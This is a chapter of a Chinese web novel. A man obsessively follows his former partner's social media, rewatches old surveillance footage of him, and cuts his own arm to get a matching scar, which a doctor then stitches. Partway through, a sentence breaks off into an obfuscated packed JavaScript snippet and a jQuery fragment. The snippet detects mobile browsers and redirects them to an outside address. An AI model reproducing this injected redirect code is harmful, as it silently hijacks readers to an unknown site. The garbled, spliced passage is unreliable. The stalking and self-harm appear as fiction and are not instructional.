三年可能改变很多。


    比如许哲结婚了。


    三年也可能什么都没改变。


    比如周默依旧只睡在沙发上，每次睡前都会翻一遍谢清晏的社交账号，看他今天有没有发新的内容。


    谢清晏不是每天都会更新，但只要更新，时间大多在国内凌晨三四点。周默一般会等到五点，确定谢清晏没有更新后，才会去睡。


    由于谢清晏还没更新，他只能翻看以前的相册，里面的照片他早就保存了，但他还是会一遍遍地看，并根据照片里的内容，猜测谢清晏去了哪里，遇到了什么样的人，发生了什么样的事。


    他的行为放到任何一个人身上，都会觉得毛骨悚然，但他根本不在意，反正也没人会知道。


    他从来只看，不回复，不在评论区发表任何观点。


    谢清晏的照片很多，大多都是风景照，偶尔会入境，却从不露脸。


    最近他好像迷上了健身，这几次的照片都跟健身相关，拍了不少健身器材，偶尔会拍一下全副武装出去跑步的画面。


    叮咚一声，提示音响起，是谢清晏更新了。


    这次是两张照片，配文只有一行字，“终于能见人了”。


    字里行间能看出他的得意。


    两张照片，一张是撸铁时的后背。


    没穿上衣，宽肩窄腰，肌肉紧绷，线条根根分明，充满了力量感，光看图片就能感受到扑面而来的荷尔蒙。


    但后腰上的一颗红痣，又像冷白月光下的红帐，给冷硬的背影蒙上了一层旖旎的春光。


    只一眼，周默就能想起当初将人抱在怀里的感觉，他的腰腹从来都不是软的，蓬勃有张力，能做很多需要用到腰腹力量的动作。


    周默看着照片，感受到心脏在胸口狂跳，像是要从胸腔里蹦出来。


    第二张，是一张脱衣服时的抓拍，双臂交叉拉着衣服下摆向上，衣服将脱未脱遮住了胸肌，整张画面最吸引人眼球的是布满细密汗珠的腹肌。


    隔着屏幕都能感受到运动后的热意。


    两张照片都没有露脸，评论却比任何一次都要多。


    尤其是第二张下面，已经被各种评论攻陷。


    【大大还缺男朋友吗】


    【现在叫老公还来得及吗】


    【先叫为敬，老公，看我】


    【请问主人需要娇软小O给你做清洁服务吗？我舔汗最在行了】


    【……】


    周默看着这一条评论，气得眼都红了，他恨不得跳进屏幕里，把所有人的嘴都给捂上。


    你们通通不准叫！


    然而他的愤怒根本没用，下一秒谢清晏就回复了这些人。


    【我宣布在座所有叫我老公的，今天都是我老婆。】


    他甚至还有心情给大家弄了个抽奖。


    周默抿唇看着谢清晏的照片和那段话，恨不得把人关起来，谁也看不到。


    他气愤，也妒忌，他们敢肆无忌惮喊谢清晏老公，甚至还可能得到谢清晏的回复，但他不敢，他只能当个阴暗的老鼠。


    下一秒，他给一个人打了电话。


    许哲被电话吵醒的时候，整个脑子都是木的，他怕吵醒老婆，赶紧跑到客厅接电话。


    “周默，大周末的你发什么疯？你知不知道现在几点？”


    许哲还没抱怨完，就听到周默阴恻恻的声音，“你看清晏的账号！”


    一听到清晏两个字，许哲一个激灵，彻底清醒了过来。


    大半夜周默打电话过来，难道是清晏出什么事了？他根本没反应过来要是谢清晏真出事，怎么会需要看一个社交账号。


    他已经有段时间没打开这个软件了，当他惊慌失措翻开谢清晏账号的时候，只看到几分钟前的两□□身照片，评论区依旧热闹。


    他怔了怔，“他不是好端端的嘛，还跟人互动呢。”


    许哲翻了一下评论区，看到谢清晏还在跟人说骚话，精力旺盛得根本不是他这个奔三的人可以比的。


    “这肌肉练得确实不错，”许哲再看了一眼照片，遗憾地摸了摸自己快要九九归一的肚子，心里满是羡慕，“看得我都想喊老公了。”


    说完，他好似反应过来了。“你不会是不满评论区那些人喊他老公吧？这也没什么，隔着网络说骚话，现在小年轻们都这么玩，你也不用太当真。”


    周默：“他之前的照片都是自己拍的，这次的不是。”


    许哲觉得跟周默说话真是累，他是真的一点不懂gay的脑子里在想什么东西，“所以呢？”


    周默被他问得噎了一下，咬牙切齿道：“有人在帮他拍照，用他的手机。”


    许哲缺觉的脑子，终于搭上了周默脑子里的线，“你是想说，拍照的人，可能是他对象？”


    尤其是第二张，是一张运动后脱衣服的照片，对面的人至少跟谢清晏的关系挺亲密的。


    许哲不知道那人是男的，还是女的，但不管是男是女，确实都有可能是谢清晏的对象。


    许哲无奈地叹了口气。


    “周默，三年了。”


    “清晏他以前不找男女朋友，是因为有病，但他现在病好了。虽然不知道他这会儿是直男还是gay，但不管怎么说，作为一个二十八九岁的成年男性，他完全有这方面的需求，也有解决这方面需求的需求。”


    周默死死地扣着手机，许哲的话根本不是他想听的。


    “我觉得你也没必要为了清晏守身如玉，他不会回来的。你总不能真出家当和尚吧？”


    周默这几年经常会去寺庙小住，手腕上常年带着一串佛珠。他说他当年求了佛祖保佑谢清晏平安，所以要虔诚还愿。


    这几年他一直过着学校、家，两点一线的生活，身边除了黑犬外，连个活物都快没了。许哲一度以为周默清心寡欲得快要升天了。


    今天看到清晏发两张照片就开始发疯，看样子还没真的寡欲。


    周默在那边沉默良久，就在许哲以为他要挂电话时，他听到周默说：“阿哲，我想去找他。”


    他的声音太低太轻了，许哲差点没听到。


    “你，”许哲顿了下，不知道该怎么安慰周默，最后只能狠心道：“想一想当初的事，如果因为你导致清晏再次发病，别怪我不念兄弟情。”


    周默愣神了好一会儿，也不知道许哲是什么时候挂掉的电话。


    他沉默着起身，然后将那台电脑拿了出来。


    里面保存了所有谢清晏的照片，包括很多监控视频。


    生日那天的场景，被他剪成了很多片段。前面布置生日场景、求婚彩排，是播放量最多的。


    排名第二的，是谢清晏跳舞那段。午夜梦回时，他常常蜷缩在沙发上，一遍遍地看。


    而现在，这样的场景，只会出现在别人眼里。


    他以为他能坦然接受谢清晏忘了他，也能接受谢清晏的身边没有他，但他完全高估了自己。


    他只要一想到原本属于他的人，以后会对另一个人笑，对另一个人好，给另一个人跳舞，他就嫉妒得发疯。


    他根本接受不了！


    但理智又告诉他，许哲说得对，他出现在谢清晏面前，对谢清晏没有一点好处。


    许哲说让他想想当初的伤害。


    周默闭了闭眼，然后打开了那个自放进电脑，就没打开过的视频。


    “谢清晏，我不知道是你贱，还是我贱……”第一句话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808754|190782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出来的时候，周默就靠在了沙发边缘，手里仅仅攥着那两只戒指。


    混乱的视频还在继续，直到声音渐渐远去，他没有看，但他知道，那时候他们进了卧室。又过了很久，有细微的声音传来，周默第一次睁眼看向视频画面。


    画面里，谢清晏穿着单薄的衣衫，从客厅走过，然后打开了门。


    那么冷的天气，他甚至都没穿一件外套。


    关门声响起，从此再也没出现在这个家里。


    怎么可能原谅？


    他都没法原谅那时候的自己。


    谢清晏说的不恨，原谅，全是因为发病了，如果他真的想起来了，周默不敢想象会是怎样的灾难。


    他不敢。


    他怕把谢清晏再次推到悬崖的边缘，看着他一点一点掉入深渊。


    他差点就要了谢清晏的命，怎么敢再去找人。


    视频已经结束，周默跌跌撞撞起了身，然后走到厨房，拿出了一柄餐刀，按照记忆里的位置，一下一下划拉自己的胳膊。


    眼泪一颗颗砸下。


    清晏又骗人，怎么可能不疼。


    周默没打算寻死，他开车去了医院，但在路上又换了个方向，两个小时后，见到了许宸。


    许宸看到周默的时候，吓了一跳，“你怎么来了，哪里不舒服？”


    周默摇了摇头，撩起了一边的胳膊，用来止血的毛巾鲜红一片，“来找你包扎。”


    许宸气得眼前发黑，“周默，你是疯了吗？你这伤口随便找个医院处理就行，非得开几个小时车来我这，你是嫌自己命太长了吗？”


    周默苍白着脸，睁着一双空洞的眼睛看许宸，眼神执着而疯癫“我想要跟清晏一样的伤口。”


    许宸差点要被他气死，“你他妈以为是情侣纹身啊！”


    周默固执地伸着手，许宸真是服了，快三十岁的人了，还能这么幼稚。


    好在当初那个给谢清晏缝针的医生还在，她将周默领过去，那人一看到那个伤口就叫道：“干啥了这是？”


    “被切牛排的刀割的。”


    医生一愣，怪事居然还能有两。在精神病院自残的不是没有，但是拿餐刀的还真不多见，毕竟普通病人也不会允许碰这些东西。


    许宸很是不耐烦，“这个傻子要搞情侣纹身，麻烦给缝个一样的针脚。”


    医生再次愣住，还能有这事？


    周默对着医生礼貌微笑，“麻烦您了。”


    医生嘟哝，“知道麻烦还来。”


    许宸在一旁补刀，“就是，浪费医疗资源。”


    等到伤口包扎完，许宸将人送到门口，“你姐我很忙的，我不想再在这看到你了。”


    也不知道是不是有了纹身心里满足了，周默这会儿情绪很平稳，低低地应了声。


    许宸不用想也知道，这人还没放下，毕竟是弟弟，还是得开解一下。


    “他现在挺好的，恢复得也不错，已经跟正常人没什么分别。还因为少了十几年记忆，心态上一直觉得自己很年轻，一天天精力旺盛得不行。


    曾姨跟我吐槽，说她都没想过还能被二十出头的谢清晏再折腾一遍。


    他前段时间去爬了雪山，还说要把世界排名前几的高峰全部征服一遍。不过最近好像又迷上了别的，不知道是滑雪还是帆船。


    本来还要去当职业赛车手，后来被谢叔叔他们拦住了……”


    周默静静地听着，那个阳光灼热的少年，好似出现在了自己眼前。


    许宸话音一转，“小默，清晏他已经在向前走了，你也得往前看。过去的，就让他过去吧。”


    周默又一次低低地嗯了一声，但许宸知道他可能依旧没有听进去。